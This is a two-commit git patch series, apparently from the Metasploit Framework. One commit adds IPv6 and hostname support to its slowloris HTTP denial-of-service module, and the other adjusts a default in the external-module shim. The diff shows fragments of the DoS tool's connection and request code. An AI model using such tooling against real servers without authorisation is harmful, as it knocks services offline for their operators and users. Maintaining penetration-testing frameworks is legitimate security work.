From 9a8f1ace2d7d5119627f12d562f0b64f216adc90 Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 7 Mar 2018 17:06:04 -0600 Subject: [PATCH 1/2] Add slowloris support for IPv6 and hostnames Replace manual socket creation with `socket.create_connection` to get auto-detection goodness. --- modules/auxiliary/dos/http/slowloris.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/dos/http/slowloris.py b/modules/auxiliary/dos/http/slowloris.py index 416b1bbf5e..360818d23a 100755 --- a/modules/auxiliary/dos/http/slowloris.py +++ b/modules/auxiliary/dos/http/slowloris.py @@ -76,14 +76,12 @@ def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_ def init_socket(host, port, use_ssl=False, rand_user_agent=True): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s = socket.create_connection((host, port), 10) s.settimeout(4) if use_ssl: s = ssl.wrap_socket(s) - s.connect((host, port)) - s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) if rand_user_agent: From 780c8f0506352df1339604a0f2de4cd85ebffffd Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Wed, 7 Mar 2018 17:11:56 -0600 Subject: [PATCH 2/2] Fix non-scanner external modules --- lib/msf/core/modules/external/shim.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb index e4dc035dc2..1971e48cbd 100644 --- a/lib/msf/core/modules/external/shim.rb +++ b/lib/msf/core/modules/external/shim.rb @@ -32,7 +32,7 @@ class Msf::Modules::External::Shim render_template('common_metadata.erb', meta) end - def self.mod_meta_common(mod, meta = {}, drop_rhost: true) + def self.mod_meta_common(mod, meta = {}, drop_rhost: false) meta[:path] = mod.path.dump meta[:name] = mod.meta['name'].dump meta[:description] = mod.meta['description'].dump